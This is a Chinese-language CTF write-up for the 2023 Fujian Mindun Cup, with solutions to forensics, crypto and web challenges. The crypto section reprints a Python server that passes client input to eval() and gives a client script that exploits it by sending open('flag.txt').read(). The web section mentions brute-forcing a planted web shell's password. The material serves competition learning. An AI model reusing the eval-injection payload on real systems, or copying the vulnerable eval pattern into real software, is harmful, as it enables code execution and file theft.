福建闽盾杯网络空间安全大赛 2023 Writeup

写在前面

由于初赛不交Writeup,所以初赛题目不全(复赛解开的倒是都写了),貌似这比赛挺水的,随便打打就进决赛了…不过主办方不报差旅且无奖金,所以弃赛了。

Misc

DNS-流量分析

wireshark 打开发现每次请求的名称都是 zip 压缩包的hex编码,直接取出来即可,然后爆破得到压缩包密码 Ap3l

image-20230527225750168

QZ

附件后缀为 .lime,应该是 Linux 内存取证题目,不过直接 16 进制编辑器梭哈,搜索flag,没搜到,尝试 Base64编码过的 flag 头

image-20230527225513233

威胁情报分析1

给了 ioc.txtnetwork.txt 两个 json 数据,其中 ioc 存放的威胁情报,network 存放了流量信息,直接通过比对即可找到对应的 IP地址

import json

def extract_net(file_path):
    ips = set()
    with open(file_path, 'r', encoding='utf-8') as file:
        data = json.load(file)
        for entry in data:
            src_ip = entry.get('SrcHost')
            dest_ip = entry.get('DestHost')
            if src_ip:
                ips.add(src_ip)
            if dest_ip:
                ips.add(dest_ip)
    return ips

def extract_ioc(file_path):
    ips = set()
    with open(file_path, 'r', encoding='utf-8') as file:
        data = json.load(file)
        for entry in data:
            if entry.get('type') == 'ip':
                ips.add(entry.get('ioc'))
    return ips

def analyze(network_file, ioc_file):
    network_ips = extract_net(network_file)
    malicious_ips = extract_ioc(ioc_file)
    matched_ips = network_ips.intersection(malicious_ips)
    return matched_ips

network_file_path = 'network.txt'
ioc_file_path = 'ioc.txt'
matched_ips = analyze(network_file_path, ioc_file_path)

for ip in matched_ips:
    print(ip)
// 46.21.82.234

mylog

附件名字为 mylog.000001,很明显是二进制日志文件,我们直接使用 mysqlbinlog 还原导出一下

mysqlbinlog.exe --no-defaults mylog.000001 > out.txt

image-20230604174206283

根据如上信息得到 flag{heidun-2023-heidun}

Crypto

Py-math-game

import binascii
import socketserver
import random
import os
import time

class MyServer(socketserver.BaseRequestHandler):
    def handle(self):
        conn = self.request
        cli = str(self.client_address)
        print("Connected..." + cli)
        tmp = binascii.crc32(self.client_address[0].encode())
        tmp = str(tmp)
        print("debug: " + tmp)
        math = ''
        starttime = time.time()
        while True:
            try:
                out = str(random.randint(1, 100))
                out = out + self.randchar()
                out = out + str(random.randint(1, 100))
                out = out + self.randchar()
                out = out + str(random.randint(1, 100))
                out = out + self.randchar()
                out = out + str(random.randint(1, 100))
                math = tmp + ' + ' + out
                math = math.replace('X', '*')
                out = 'Answer my question:\nn = ' + tmp + '\nn + ' + out + ' = ?\nInput your answer in 3 seconds:'
                conn.send(out.encode())
                data = conn.recv(128)
                if (time.time() - starttime) > 3:
                    conn.sendall('Too late! Too slow! Try again.\n'.encode())
                    break
                if len(data) == 0:
                    print(cli + " closed.")
                    break
                data = data.decode('utf-8')
                print(cli + ":" + data)
                if '\n' in data:
                    data = data[0:data.find('\n')]
                an = eval(math)
                if str(an) == data:
                    out = 'OK!\nI will answer your question (example: 2X2+2-1):\n'
                    conn.send(out.encode())
                    data = conn.recv(128)
                    if len(data) == 0:
                        print(cli + " closed.")
                        break
                    data = data.decode('utf-8')
                    print(cli + ":" + data)
                    data = data.replace('X', '*')
                    data = data.replace(' x ', '*')
                    data = data.replace('?', ' ')
                    data = data.replace('=', ' ')
                    out = str(eval(data))
                    if out == '':
                        out = 'Finish, but output nothing.'
                    out = out + '\n\n'
                    conn.send(out.encode())
                else:
                    conn.sendall('Wrong!\n'.encode())
                    print(cli + " closed.")
                    break

            except Exception as e:
                print(cli + " closed.")
                conn.sendall('Error!\n'.encode())
                break

    def randchar(self):
        chars = '+-X'
        n = random.randint(0, len(chars) - 1)
        return ' ' + chars[n] + ' '

    def serve_forever(self, poll_interval=0.5):
        """
        Handle one request at a time until shutdown.
        Polls for shutdown every poll_interval seconds. Ignores self.timeout.
        If you need to do periodic tasks, do them in another thread.
        """


if __name__ == "__main__":
    server = socketserver.ThreadingTCPServer(('0.0.0.0', 8080), MyServer)
    print('ready...')
    server.serve_forever()

nc 连上发现要求三秒内计算出答案,回答正确后需要给他出道题,猜测后端使用了 eval(),直接通过 open() 读取 flag 即可

import socket

# 连接NC服务器
def connect_to_server():
    host = '39.104.26.167'
    port = 6894
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((host, port))
    return client_socket

# 接收并解析服务器的问题
def receive_question(socket):
    data = socket.recv(1024).decode().strip()
    question = data.split('\n')[-2]
    question = question[:-4]
    n = data.split('\n')[-3]
    question = question.replace('n', n)
    question = question[4:]
    return question

# 计算问题的答案
def calculate_answer(question):
    question = question.replace('X', '*')
    answer = eval(question)
    return str(answer)

# 发送答案给服务器
def send_answer(socket, answer):
    socket.send((answer + '\n').encode())

# 获取服务器返回的结果
def get_result(socket):
    data = socket.recv(1024).decode().strip()
    return data


# 主函数
def main():
    # 连接服务器
    client_socket = connect_to_server()

    # 接收问题
    question = receive_question(client_socket)
    print('Question:', question)

    # 计算答案
    answer = calculate_answer(question)
    print('Answer:', answer)

    # 发送答案
    send_answer(client_socket, answer)

    result = get_result(client_socket)
    print('Result:', result)

    # 发送问题
    send_answer(client_socket, 'open("flag.txt").read()')

    # 接收结果
    result = get_result(client_socket)
    print('Result:', result)

if __name__ == '__main__':
    main()

Web

1shell

访问环境可以确定存在木马 1.php,直接爆破密码即可,密码为 az

本文作者: iami233
版权声明: 本文采用 CC BY-NC-SA 3.0 CN 协议进行许可